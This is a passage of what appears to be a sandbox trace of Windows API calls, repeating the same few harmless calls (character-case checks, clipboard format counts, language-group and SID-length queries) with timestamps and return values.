0xc [0027.548] IsCharLowerA (ch=46) returned 0 [0027.548] CountClipboardFormats () returned 4 [0027.548] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0027.548] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0027.548] IsCharLowerA (ch=47) returned 0 [0027.548] CountClipboardFormats () returned 4 [0027.548] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0027.548] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0027.549] IsCharLowerA (ch=48) returned 0 [0027.549] CountClipboardFormats () returned 4 [0027.549] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0027.549] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0027.549] IsCharLowerA (ch=49) returned 0 [0027.549] CountClipboardFormats () returned 4 [0027.549] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0027.549] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0027.549] IsCharLowerA (ch=50) returned 0 [0027.549] CountClipboardFormats () returned 4 [0027.549] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0027.549] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0027.549] IsCharLowerA (ch=51) returned 0 [0027.549] CountClipboardFormats () returned 4 [0027.549] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0027.549] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0027.549] IsCharLowerA (ch=52) returned 0 [0027.549] CountClipboardFormats () returned 4 [0027.549] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0027.549] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0027.549] IsCharLowerA (ch=53) returned 0 [0027.549] CountClipboardFormats () returned 4 [0027.549] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0027.549] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0027.549] IsCharLowerA (ch=54) returned 0 [0027.549] CountClipboardFormats () returned 4 [0027.549] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0027.549] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0027.549] IsCharLowerA (ch=55) returned 0 [0027.549] CountClipboardFormats () returned 4 [0027.549] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0027.549] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0027.549] IsCharLowerA (ch=56) returned 0 [0027.549] CountClipboardFormats () returned 4 [0027.549] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0027.549] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0027.550] IsCharLowerA (ch=57) returned 0 [0027.550] CountClipboardFormats () returned 4 [0027.550] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0027.550] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0027.550] IsCharLowerA (ch=58) returned 0 [0027.550] CountClipboardFormats () returned 4 [0027.550] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0027.550] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0027.550] IsCharLowerA (ch=59) returned 0 [0027.550] CountClipboardFormats () returned 4 [0027.550] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0027.550] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0027.550] IsCharLowerA (ch=60) returned 0 [0027.550] CountClipboardFormats () returned 4 [0027.550] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0027.550] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0027.550] IsCharLowerA (ch=61) returned 0 [0027.550] CountClipboardFormats () returned 4 [0027.550] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0027.550] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0027.550] IsCharLowerA (ch=62) returned 0 [0027.550] CountClipboardFormats () returned 4 [0027.550] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0027.550] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0027.550] IsCharLowerA (ch=63) returned 0 [0027.550] CountClipboardFormats () returned 4 [0027.550] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0027.550] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0027.550] IsCharLowerA (ch=32) returned 0 [0027.550] CountClipboardFormats () returned 4 [0027.550] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0027.550] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0027.550] IsCharLowerA (ch=1) returned 0 [0027.550] CountClipboardFormats () returned 4 [0027.550] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0027.550] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0027.551] IsCharLowerA (ch=2) returned 0 [0027.551] CountClipboardFormats () returned 4 [0027.551] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0027.551] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0027.551] IsCharLowerA (ch=3) returned 0 [0027.551] CountClipboardFormats () returned 4 [0027.551] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0027.551] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0027.551] IsCharLowerA (ch=4) returned 0 [0027.551] CountClipboardFormats () returned 4 [0027.551] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0027.551] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0027.551] IsCharLowerA (ch=5) returned 0 [0027.551] CountClipboardFormats () returned 4 [0027.551] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0027.551] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0027.551] IsCharLowerA (ch=6) returned 0 [0027.551] CountClipboardFormats () returned 4 [0027.551] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0027.551] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0027.551] IsCharLowerA (ch=7) returned 0 [0027.551] CountClipboardFormats () returned 4 [0027.551] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0027.551] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0027.551] IsCharLowerA (ch=8) returned 0 [0027.551] CountClipboardFormats () returned 4 [0027.551] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0027.551] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0027.551] IsCharLowerA (ch=9) returned 0 [0027.551] CountClipboardFormats () returned 4 [0027.551] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0027.551] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0027.551] IsCharLowerA (ch=10) returned 0 [0027.551] CountClipboardFormats () returned 4 [0027.552] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0027.552] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0027.552] IsCharLowerA (ch=11) returned 0 [0027.552] CountClipboardFormats () returned 4 [0027.552] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0027.552] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0027.552] IsCharLowerA (ch=12) returned 0 [0027.552] CountClipboardFormats () returned 4 [0027.552] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0027.552] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0027.552] IsCharLowerA (ch=13) returned 0 [0027.552] CountClipboardFormats () returned 4 [0027.552] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0027.552] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0027.552] IsCharLowerA (ch=14) returned 0 [0027.552] CountClipboardFormats () returned 4 [0027.552] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0027.552] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0027.552] IsCharLowerA (ch=15) returned 0 [0027.552] CountClipboardFormats () returned 4 [0027.552] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0027.552] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0027.552] IsCharLowerA (ch=16) returned 0 [0027.552] CountClipboardFormats () returned 4 [0027.552] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0027.552] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0027.552] IsCharLowerA (ch=17) returned 0 [0027.552] CountClipboardFormats () returned 4 [0027.552] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0027.552] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0027.552] IsCharLowerA (ch=18) returned 0 [0027.552] CountClipboardFormats () returned 4 [0027.552] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0027.552] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0027.552] IsCharLowerA (ch=19) returned 0 [0027.553] CountClipboardFormats () returned 4 [0027.553] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0027.553] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0027.553] IsCharLowerA (ch=20) returned 0 [0027.553] CountClipboardFormats () returned 4 [0027.553] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0027.553] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0027.553] IsCharLowerA (ch=21) returned 0 [0027.553] CountClipboardFormats () returned 4 [0027.553] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0027.553] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0027.553] IsCharLowerA (ch=22) returned 0 [0027.553] CountClipboardFormats () returned 4 [0027.553] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0027.553] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0027.553] IsCharLowerA (ch=23) returned 0 [0027.553] CountClipboardFormats () returned 4 [0027.553] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0027.553] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0027.553] IsCharLowerA (ch=24) returned 0 [0027.553] CountClipboardFormats () returned 4 [0027.553] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0027.553] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0027.553] IsCharLowerA (ch=25) returned 0 [0027.553] CountClipboardFormats () returned 4 [0027.553] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0027.553] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0027.553] IsCharLowerA (ch=26) returned 0 [0027.553] CountClipboardFormats () returned 4 [0027.553] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0027.553] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0027.553] IsCharLowerA (ch=27) returned 0 [0027.553] CountClipboardFormats () returned 4 [0027.553] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0027.553] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0027.554] IsCharLowerA (ch=28) returned 0 [0027.554] CountClipboardFormats () returned 4 [0027.554] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0027.554] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0027.554] IsCharLowerA (ch=29) returned 0 [0027.554] CountClipboardFormats () returned 4 [0027.554] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0027.554] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0027.554] IsCharLowerA (ch=30) returned 0 [0027.554] CountClipboardFormats () returned 4 [0027.554] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0027.554] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0027.554] IsCharLowerA (ch=31) returned 0 [0027.554] CountClipboardFormats () returned 4 [0027.554] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0027.554] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0027.554] IsCharLowerA (ch=32) returned 0 [0027.554] CountClipboardFormats () returned 4 [0027.555] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0027.555] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0027.555] IsCharLowerA (ch=1) returned 0 [0027.555] CountClipboardFormats () returned 4 [0027.555] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0027.555] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0027.555] IsCharLowerA (ch=2) returned 0 [0027.555] CountClipboardFormats () returned 4 [0027.555] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0027.556] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0027.556] IsCharLowerA (ch=3) returned 0 [0027.556] CountClipboardFormats () returned 4 [0027.556] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0027.556] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0027.556] IsCharLowerA (ch=4) returned 0 [0027.556] CountClipboardFormats () returned 4 [0027.556] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0027.556] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0027.556] IsCharLowerA (ch=5) returned 0 [0027.556] CountClipboardFormats () returned 4 [0027.556] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0027.556] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0027.556] IsCharLowerA (ch=6) returned 0 [0027.556] CountClipboardFormats () returned 4 [0027.556] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0027.556] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0027.556] IsCharLowerA (ch=7) returned 0 [0027.556] CountClipboardFormats () returned 4 [0027.556] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0027.556] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0027.556] IsCharLowerA (ch=8) returned 0 [0027.556] CountClipboardFormats () returned 4 [0027.556] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0027.556] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0027.556] IsCharLowerA (ch=9) returned 0 [0027.556] CountClipboardFormats () returned 4 [0027.556] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0027.556] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0027.556] IsCharLowerA (ch=10) returned 0 [0027.556] CountClipboardFormats () returned 4 [0027.556] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0027.556] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0027.556] IsCharLowerA (ch=11) returned 0 [0027.556] CountClipboardFormats () returned 4 [0027.556] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0027.556] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0027.557] IsCharLowerA (ch=12) returned 0 [0027.557] CountClipboardFormats () returned 4 [0027.557] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0027.557] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0027.557] IsCharLowerA (ch=13) returned 0 [0027.557] CountClipboardFormats () returned 4 [0027.557] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0027.557] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0027.557] IsCharLowerA (ch=14) returned 0 [0027.557] CountClipboardFormats () returned 4 [0027.557] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0027.557] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0027.557] IsCharLowerA (ch=15) returned 0 [0027.557] CountClipboardFormats () returned 4 [0027.557] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0027.557] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0027.557] IsCharLowerA (ch=16) returned 0 [0027.557] CountClipboardFormats () returned 4 [0027.557] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0027.557] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0027.557] IsCharLowerA (ch=17) returned 0 [0027.557] CountClipboardFormats () returned 4 [0027.557] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0027.557] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0027.557] IsCharLowerA (ch=18) returned 0 [0027.557] CountClipboardFormats () returned 4 [0027.557] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0027.557] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0027.557] IsCharLowerA (ch=19) returned 0 [0027.557] CountClipboardFormats () returned 4 [0027.557] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0027.557] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0027.557] IsCharLowerA (ch=20) returned 0 [0027.557] CountClipboardFormats () returned 4 [0027.557] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0027.558] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0027.558] IsCharLowerA (ch=21) returned 0 [0027.558] CountClipboardFormats () returned 4 [0027.558] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0027.558] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0027.558] IsCharLowerA (ch=22) returned 0 [0027.558] CountClipboardFormats () returned 4 [0027.558] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0027.558] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0027.558] IsCharLowerA (ch=23) returned 0 [0027.558] CountClipboardFormats () returned 4 [0027.558] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0027.558] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0027.558] IsCharLowerA (ch=24) returned 0 [0027.558] CountClipboardFormats () returned 4 [0027.558] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0027.558] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0027.558] IsCharLowerA (ch=25) returned 0 [0027.558] CountClipboardFormats () returned 4 [0027.558] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0027.558] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0027.558] IsCharLowerA (ch=26) returned 0 [0027.558] CountClipboardFormats () returned 4 [0027.558] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0027.558] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0027.558] IsCharLowerA (ch=27) returned 0 [0027.558] CountClipboardFormats () returned 4 [0027.558] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0027.558] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0027.558] IsCharLowerA (ch=28) returned 0 [0027.558] CountClipboardFormats () returned 4 [0027.558] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0027.558] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0027.558] IsCharLowerA (ch=29) returned 0 [0027.558] CountClipboardFormats () returned 4 [0027.559] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0027.559] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0027.559] IsCharLowerA (ch=30) returned 0 [0027.559] CountClipboardFormats () returned 4 [0027.559] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0027.559] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0027.559] IsCharLowerA (ch=31) returned 0 [0027.559] CountClipboardFormats () returned 4 [0027.559] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0027.559] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0027.559] IsCharLowerA (ch=32) returned 0 [0027.559] CountClipboardFormats () returned 4 [0027.559] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0027.559] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0027.559] IsCharLowerA (ch=1) returned 0 [0027.559] CountClipboardFormats () returned 4 [0027.559] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0027.559] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0027.559] IsCharLowerA (ch=2) returned 0 [0027.559] CountClipboardFormats () returned 4 [0027.559] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0027.559] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0027.559] IsCharLowerA (ch=3) returned 0 [0027.559] CountClipboardFormats () returned 4 [0027.559] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0027.559] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0027.559] IsCharLowerA (ch=4) returned 0 [0027.559] CountClipboardFormats () returned 4 [0027.559] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0027.559] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0027.559] IsCharLowerA (ch=5) returned 0 [0027.559] CountClipboardFormats () returned 4 [0027.559] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0027.559] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0027.559] IsCharLowerA (ch=6) returned 0 [0027.559] CountClipboardFormats () returned 4 [0027.560] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0027.560] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0027.560] IsCharLowerA (ch=7) returned 0 [0027.560] CountClipboardFormats () returned 4 [0027.560] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0027.560] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0027.560] IsCharLowerA (ch=8) returned 0 [0027.560] CountClipboardFormats () returned 4 [0027.560] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0027.560] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0027.560] IsCharLowerA (ch=9) returned 0 [0027.560] CountClipboardFormats () returned 4 [0027.560] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0027.560] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0027.560] IsCharLowerA (ch=10) returned 0 [0027.560] CountClipboardFormats () returned 4 [0027.560] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0027.560] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0027.560] IsCharLowerA (ch=11) returned 0 [0027.560] CountClipboardFormats () returned 4 [0027.560] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0027.560] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0027.560] IsCharLowerA (ch=12) returned 0 [0027.560] CountClipboardFormats () returned 4 [0027.560] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0027.560] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0027.560] IsCharLowerA (ch=13) returned 0 [0027.560] CountClipboardFormats () returned 4 [0027.560] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0027.560] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0027.560] IsCharLowerA (ch=14) returned 0 [0027.560] CountClipboardFormats () returned 4 [0027.560] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0027.560] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0027.560] IsCharLowerA (ch=15) returned 0 [0027.560] CountClipboardFormats () returned 4 [0027.561] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0027.561] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0027.561] IsCharLowerA (ch=16) returned 0 [0027.561] CountClipboardFormats () returned 4 [0027.561] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0027.561] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0027.561] IsCharLowerA (ch=17) returned 0 [0027.561] CountClipboardFormats () returned 4 [0027.561] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0027.561] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0027.561] IsCharLowerA (ch=18) returned 0 [0027.561] CountClipboardFormats () returned 4 [0027.561] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0027.561] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0027.561] IsCharLowerA (ch=19) returned 0 [0027.561] CountClipboardFormats () returned 4 [0027.561] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0027.561] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0027.561] IsCharLowerA (ch=20) returned 0 [0027.561] CountClipboardFormats () returned 4 [0027.561] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0027.561] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0027.561] IsCharLowerA (ch=21) returned 0 [0027.561] CountClipboardFormats () returned 4 [0027.561] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0027.561] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0027.561] IsCharLowerA (ch=22) returned 0 [0027.561] CountClipboardFormats () returned 4 [0027.561] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0027.562] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0027.562] IsCharLowerA (ch=23) returned 0 [0027.562] CountClipboardFormats () returned 4 [0027.562] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0027.562] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0027.562] IsCharLowerA (ch=24) returned 0 [0027.562] CountClipboardFormats () returned 4 [0027.562] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0027.562] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0027.562] IsCharLowerA (ch=25) returned 0 [0027.562] CountClipboardFormats () returned 4 [0027.562] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0027.562] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0027.562] IsCharLowerA (ch=26) returned 0 [0027.562] CountClipboardFormats () returned 4 [0027.562] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0027.562] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0027.562] IsCharLowerA (ch=27) returned 0 [0027.562] CountClipboardFormats () returned 4 [0027.562] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0027.562] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0027.562] IsCharLowerA (ch=28) returned 0 [0027.562] CountClipboardFormats () returned 4 [0027.562] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0027.562] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0027.562] IsCharLowerA (ch=29) returned 0 [0027.562] CountClipboardFormats () returned 4 [0027.562] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0027.563] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0027.563] IsCharLowerA (ch=30) returned 0 [0027.563] CountClipboardFormats () returned 4 [0027.563] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0027.563] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0027.563] IsCharLowerA (ch=31) returned 0 [0027.563] CountClipboardFormats () returned 4 [0027.563] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0027.563] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0027.563] IsCharLowerA (ch=32) returned 0 [0027.563] CountClipboardFormats () returned 4 [0027.563] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0027.563] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0027.563] IsCharLowerA (ch=1) returned 0 [0027.563] CountClipboardFormats () returned 4 [0027.563] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0027.563] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0027.563] IsCharLowerA (ch=2) returned 0 [0027.563] 